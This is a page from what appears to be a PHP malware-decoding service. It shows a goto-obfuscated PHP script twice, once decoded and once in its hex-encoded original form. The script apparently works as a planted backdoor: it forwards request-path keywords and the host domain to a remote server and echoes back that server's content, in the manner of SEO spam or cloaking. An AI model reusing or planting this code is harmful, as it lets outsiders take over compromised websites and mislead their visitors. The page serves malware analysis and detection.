Decoded Output
Download<?php goto D2762; C3d50: $currentDomain = $_SERVER["HTTP_HOST"]; goto f1f03; Fff03: $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); goto F60bc; B80ed: if (!empty($currentFileName)) { goto Dbe71; } goto Cd95e; Dd7af: $curlError = curl_error($ch); goto Ee5d0; Ce13e: $keyword = urldecode($encodedKeyword); goto C3d50; Ee5d0: die("Error: cURL request failed - {$curlError}"); goto b0836; F4b33: echo $response; goto fb156; b86d8: $response = curl_exec($ch); goto Fff03; D8c0e: curl_setopt($ch, CURLOPT_DNS_CACHE_TIMEOUT, 120); goto bdfb1; Cd95e: $currentFileName = "index.php"; goto E0967; b0836: c8b99: goto fbcce; fb156: exit; goto fc839; db0d2: $requestPath = trim($_SERVER["REQUEST_URI"], "/"); goto f8a64; C7036: $ch = curl_init($requestUrl); goto E8b1a; a67bf: curl_setopt($ch, CURLOPT_TIMEOUT, 30); goto a2b0c; E8b1a: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto a67bf; c7430: $requestUrl = "{$serverUrl}?kw=" . urlencode($keyword) . "&prefix=" . urlencode($prefix) . "&domain=" . urlencode($currentDomain) . "&client_file=" . urlencode($currentFileName); goto C7036; fc839: d9c81: goto E9479; A011a: ini_set("display_errors", 1); goto E36a6; E36a6: error_reporting(E_ALL); goto e8246; e8246: $serverUrl = "https://superman.fun/server-vt/server.php"; goto db0d2; c0abf: $prefix = $pathParts[0]; goto Fba44; bdfb1: @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); goto b86d8; Fba44: $encodedKeyword = $pathParts[1]; goto Ce13e; F60bc: curl_close($ch); goto c70d0; D2762: ini_set("display_startup_errors", 1); goto A011a; f1f03: if (count($pathParts) >= 2) { goto Dbe71; } goto fc839; fbcce: if (!($httpStatusCode != 204 && strpos($response, "Exception") === false)) { goto d9c81; } goto F4b33; a2b0c: curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); goto D8c0e; Fdb15: if (!(count($pathParts) >= 2)) { goto A923b; } goto c0abf; f8a64: $pathParts = explode("/", $requestPath); goto Fdb15; c70d0: if (!($response === false)) { goto c8b99; } goto Dd7af; E0967: Dbe71: goto c7430; E9479: A923b:
?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
None
Variables
None
Stats
| MD5 | a66318c4e24c8850 |
|---|---|
| Eval Count | 0 |
| Decode Time | 88 ms |
Original Code
<?php goto D2762; C3d50: $currentDomain = $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]; goto f1f03; Fff03: $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); goto F60bc; B80ed: if (!empty($currentFileName)) { goto Dbe71; } goto Cd95e; Dd7af: $curlError = curl_error($ch); goto Ee5d0; Ce13e: $keyword = urldecode($encodedKeyword); goto C3d50; Ee5d0: die("\x45\x72\x72\x6f\x72\x3a\x20\x63\x55\x52\x4c\x20\x72\x65\x71\x75\x65\x73\x74\x20\x66\x61\x69\x6c\x65\x64\x20\x2d\x20{$curlError}"); goto b0836; F4b33: echo $response; goto fb156; b86d8: $response = curl_exec($ch); goto Fff03; D8c0e: curl_setopt($ch, CURLOPT_DNS_CACHE_TIMEOUT, 120); goto bdfb1; Cd95e: $currentFileName = "\x69\x6e\x64\x65\x78\x2e\x70\x68\x70"; goto E0967; b0836: c8b99: goto fbcce; fb156: exit; goto fc839; db0d2: $requestPath = trim($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"], "\x2f"); goto f8a64; C7036: $ch = curl_init($requestUrl); goto E8b1a; a67bf: curl_setopt($ch, CURLOPT_TIMEOUT, 30); goto a2b0c; E8b1a: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto a67bf; c7430: $requestUrl = "{$serverUrl}\x3f\x6b\x77\x3d" . urlencode($keyword) . "\x26\x70\x72\x65\x66\x69\x78\x3d" . urlencode($prefix) . "\x26\x64\x6f\x6d\x61\x69\x6e\x3d" . urlencode($currentDomain) . "\x26\x63\x6c\x69\x65\x6e\x74\x5f\x66\x69\x6c\x65\x3d" . urlencode($currentFileName); goto C7036; fc839: d9c81: goto E9479; A011a: ini_set("\x64\x69\x73\x70\x6c\x61\x79\x5f\x65\x72\x72\x6f\x72\x73", 1); goto E36a6; E36a6: error_reporting(E_ALL); goto e8246; e8246: $serverUrl = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x75\x70\x65\x72\x6d\x61\x6e\x2e\x66\x75\x6e\x2f\x73\x65\x72\x76\x65\x72\x2d\x76\x74\x2f\x73\x65\x72\x76\x65\x72\x2e\x70\x68\x70"; goto db0d2; c0abf: $prefix = $pathParts[0]; goto Fba44; bdfb1: @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); goto b86d8; Fba44: $encodedKeyword = $pathParts[1]; goto Ce13e; F60bc: curl_close($ch); goto c70d0; D2762: ini_set("\x64\x69\x73\x70\x6c\x61\x79\x5f\x73\x74\x61\x72\x74\x75\x70\x5f\x65\x72\x72\x6f\x72\x73", 1); goto A011a; f1f03: if (count($pathParts) >= 2) { goto Dbe71; } goto fc839; fbcce: if (!($httpStatusCode != 204 && strpos($response, "\x45\x78\x63\x65\x70\x74\x69\x6f\x6e") === false)) { goto d9c81; } goto F4b33; a2b0c: curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); goto D8c0e; Fdb15: if (!(count($pathParts) >= 2)) { goto A923b; } goto c0abf; f8a64: $pathParts = explode("\x2f", $requestPath); goto Fdb15; c70d0: if (!($response === false)) { goto c8b99; } goto Dd7af; E0967: Dbe71: goto c7430; E9479: A923b: